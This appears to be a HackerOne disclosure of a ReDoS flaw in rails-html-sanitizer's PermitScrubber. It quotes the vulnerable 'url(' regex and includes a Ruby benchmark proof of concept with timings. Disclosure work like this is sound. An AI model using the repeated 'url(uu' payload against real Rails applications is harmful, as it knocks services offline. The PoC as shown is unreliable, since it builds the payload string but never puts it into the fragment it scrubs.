Lucene search

K
hackeroneOoooooo_qH1:1684163
HistoryAug 30, 2022 - 2:48 a.m.

Ruby on Rails: ReDoS (Rails::Html::PermitScrubber.scrub_attribute)

2022-08-3002:48:16
ooooooo_q
hackerone.com
24
rails
redos vulnerability
html sanitization
loofah
safelist
svg attributes

0.001 Low

EPSS

Percentile

40.9%

I have confirmed that ReDoS occurs on Rails::Html::PermitScrubber.scrub_attribute.

https://github.com/rails/rails-html-sanitizer/blob/v1.4.3/lib/rails/html/scrubbers.rb#L134

      def scrub_attribute(node, attr_node)
        attr_name = if attr_node.namespace
                      "#{attr_node.namespace.prefix}:#{attr_node.node_name}"
                    else
                      attr_node.node_name
                    end

        ...
        if Loofah::HTML5::SafeList::SVG_ATTR_VAL_ALLOWS_REF.include?(attr_name)
          attr_node.value = attr_node.value.gsub(/url\s*\(\s*[^#\s][^)]+?\)/m, ' ') if attr_node.value
        end

/url\s*\(\s*[^#\s][^)]+?\)/m is where the problem occurs.


PoC

# Gemfile
gem 'rails-html-sanitizer', '~> 1.4', '>= 1.4.3'

scrub_benchmark.rb

require 'benchmark'
require 'rails-html-sanitizer'

def scrub(length)
  scrubber = Rails::Html::PermitScrubber.new
  scrubber.tags = ['s']
  scrubber.attributes = ['mask']

  mask =  'url(uu' * length

  html_fragment = Loofah.fragment('<s>aa</s>')
  html_fragment.scrub!(scrubber)
end

Benchmark.bm do |x|
  x.report { scrub(10) }
  x.report { scrub(100) }
  x.report { scrub(1000) }
  x.report { scrub(10000) }
  x.report { scrub(100000) }
end
āÆ bundle exec ruby scrub_benchmark.rb
       user     system      total        real
   0.000208   0.000020   0.000228 (  0.000226)
   0.000316   0.000001   0.000317 (  0.000320)
   0.023582   0.000039   0.023621 (  0.023653)
   2.430801   0.007312   2.438113 (  2.446419)
 233.864668   0.498743 234.363411 (234.632421)

Impact

ReDoS may occur if scrub is executed in Rails::Html::PermitScrubber.

However, one of the values Loofah::HTML5::SafeList::SVG_ATTR_VAL_ALLOWS_REF must be set in attributes.